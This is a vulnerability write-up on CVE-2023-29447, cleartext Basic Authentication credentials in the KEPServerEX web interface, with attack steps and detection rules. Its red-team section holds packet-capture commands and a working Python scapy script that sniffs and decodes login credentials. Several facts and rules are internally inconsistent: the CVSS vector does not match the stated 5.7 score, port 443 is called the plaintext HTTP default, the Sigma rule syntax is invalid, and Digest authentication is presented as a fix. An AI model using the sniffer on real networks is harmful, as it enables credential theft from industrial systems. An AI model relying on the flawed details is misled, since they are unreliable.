CVE-2023-29447

Executive Summary

CVE-2023-29447 is an insufficiently protected credentials vulnerability in KEPServerEX, a widely used industrial connectivity platform. The vulnerability stems from the web server’s use of Basic Authentication over an unencrypted HTTP channel, allowing an adversary with network access to capture user credentials in plaintext. With a CVSS score of 5.7 (Medium), the flaw poses a moderate risk to operational technology (OT) environments, as credential exposure could lead to unauthorized access to industrial control systems (ICS). No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not confirmed a patch. The EPSS score of 0.0% indicates low exploitation likelihood in the wild, but the lack of a patch elevates the risk for exposed instances.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary industrial software product (KEPServerEX) and is not part of a software supply chain ecosystem.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.7 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to initiate the attack.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Credentials are exposed, but not full system data.
• Integrity Impact: Low (I:L) – Captured credentials could be reused for unauthorized actions.
• Availability Impact: None (A:N) – No denial-of-service impact.

Threat Level: Medium. The vulnerability is easy to exploit remotely, but the lack of public exploits and low EPSS score reduce immediate risk. However, in OT environments, credential exposure can lead to lateral movement and control system compromise.

Deep Dive & Mechanics

KEPServerEX provides a web-based interface for configuration and monitoring. The vulnerability arises because the web server uses HTTP Basic Authentication without transport layer security (TLS/SSL). Basic Authentication transmits credentials (username and password) as Base64-encoded plaintext over the network. An attacker positioned on the same network segment (e.g., via ARP spoofing, rogue access point, or compromised switch) can capture these credentials using packet sniffing tools.

Root Cause: The web server does not enforce HTTPS, and the authentication mechanism lacks encryption. The WWW-Authenticate: Basic header is sent in cleartext, and the client responds with Authorization: Basic <base64>.

Attack Flow:

1. Attacker performs network reconnaissance to identify KEPServerEX web interfaces (default port 443 or custom).
2. Attacker initiates a man-in-the-middle (MITM) attack or passive sniffing on the network segment.
3. When a legitimate user authenticates, the attacker captures the HTTP request containing the Base64-encoded credentials.
4. Attacker decodes the Base64 string to obtain plaintext credentials.
5. Attacker uses the credentials to access the KEPServerEX web interface or other services that reuse the same credentials.

Affected Component: The web server component of KEPServerEX (likely the built-in HTTP server). No specific version range is confirmed, but all versions using Basic Authentication over HTTP are vulnerable.

Vulnerable vs. Patched Code

Since no patch is available, a code-level comparison is not possible. However, the vulnerable behavior is the use of HTTP Basic Authentication without encryption. A patched version would enforce HTTPS and/or use stronger authentication mechanisms (e.g., digest authentication, OAuth, or certificate-based auth).

Vulnerable Configuration Example (hypothetical):

[WebServer]
Port=443
EnableSSL=false
AuthenticationMethod=Basic

Patched Configuration Example (hypothetical):

[WebServer]
Port=443
EnableSSL=true
AuthenticationMethod=Digest

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: KEPServerEX instance (any version) with web interface enabled on HTTP.
• Attacker: Kali Linux with Wireshark, tcpdump, and netcat.
• Network: Shared switch or hub (or use ARP spoofing).

Steps:

1. Identify Target: Use Nmap to scan for open ports and HTTP services.

   nmap -p 443,80 --script http-auth-finder <target_ip>
   

2. Capture Traffic: Start packet capture on the attacker machine.

   sudo tcpdump -i eth0 -w capture.pcap host <target_ip> and port 80
   

3. Trigger Authentication: Wait for a legitimate user to log in, or simulate by sending a request to the web interface.
4. Extract Credentials: Open the pcap in Wireshark and filter for http.authorization.

   tshark -r capture.pcap -Y "http.authorization" -T fields -e http.authorization
   

5. Decode Base64: Decode the captured Base64 string.

   echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d
   

6. Reuse Credentials: Use the credentials to access the KEPServerEX web interface or other services.

Automated Exploit (Python):

import scapy.all as scapy
import base64

def packet_callback(packet):
    if packet.haslayer(scapy.Raw):
        load = packet[scapy.Raw].load
        if b'Authorization: Basic' in load:
            auth_header = load.split(b'Authorization: Basic ')[1].split(b'\r\n')[0]
            decoded = base64.b64decode(auth_header).decode('utf-8')
            print(f"[+] Captured credentials: {decoded}")

scapy.sniff(iface='eth0', filter='tcp port 80', prn=packet_callback, store=0)

Blue Team (Defensive)

Detection & Prevention:

• Network Monitoring: Deploy IDS/IPS rules to detect Basic Authentication over HTTP (see Detection Engineering).
• Encryption Enforcement: Ensure KEPServerEX is configured to use HTTPS with a valid certificate. Disable HTTP if possible.
• Credential Hygiene: Use strong, unique passwords and implement multi-factor authentication (MFA) if supported.
• Network Segmentation: Isolate KEPServerEX on a separate VLAN with strict access controls.
• Logging: Enable audit logs for authentication attempts and monitor for repeated failures or unusual access patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing Authorization: Basic header (Base64-encoded credentials).
  • Unencrypted traffic on port 80 or 443 without TLS.
  • ARP spoofing or MITM indicators (e.g., duplicate IP addresses in ARP tables).
• Host IOCs:
  • Unauthorized access to KEPServerEX web interface logs.
  • Presence of packet capture tools (e.g., Wireshark, tcpdump) on unauthorized hosts.
• File IOCs:
  • Captured pcap files containing HTTP Basic Auth headers.
  • Decoded credential files (e.g., creds.txt).

Detection Engineering

YARA Rule

rule CVE_2023_29447_KEPServerEX_Credential_Capture {
    meta:
        description = "Detects packet captures or logs containing KEPServerEX Basic Authentication credentials"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-29447"
    strings:
        $auth_header = "Authorization: Basic " ascii wide nocase
        $realm = "Basic Realm" ascii wide nocase
        $kepserver = "KEPServerEX" ascii wide nocase
    condition:
        $auth_header and ($realm or $kepserver)
}

Sigma Rule

title: Detection of KEPServerEX Basic Authentication Over HTTP
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP traffic with Basic Authentication header targeting KEPServerEX
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        http.method: 'GET' or 'POST'
        http.url|contains: '/'
        http.authorization|startswith: 'Basic '
        http.hostname|contains: 'kepserverex' or 'KEPServerEX'
    condition: selection
falsepositives:
    - Legitimate KEPServerEX administration over HTTPS (should not trigger if TLS is used)
level: high
tags:
    - attack.t1190
    - cve.2023-29447

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-29447 KEPServerEX Basic Auth Credential Capture"; flow:to_server; content:"Authorization: Basic "; http_header; nocase; content:"KEPServerEX"; http_host; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable HTTP Access: If HTTPS is not required, disable the web interface entirely or restrict access to localhost only.
2. Enable HTTPS: Configure KEPServerEX to use TLS/SSL with a valid certificate. Ensure all web traffic is encrypted.
3. Change Default Credentials: Immediately change any default or weak passwords used for the web interface.
4. Network Segmentation: Place KEPServerEX behind a firewall and restrict access to trusted IP addresses only.

Long-Term Measures:

• Vendor Patch: Monitor Kepware (now part of PTC) for an official patch. Contact support for guidance.
• Authentication Hardening: Implement multi-factor authentication (MFA) or use certificate-based authentication if supported.
• Regular Audits: Conduct periodic security assessments of OT assets, including credential exposure tests.
• Incident Response: Prepare a playbook for credential theft incidents, including password rotation and account review.

Workaround: If HTTPS cannot be enabled, use a VPN or SSH tunnel to access the web interface, ensuring credentials are not transmitted in plaintext over the network.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert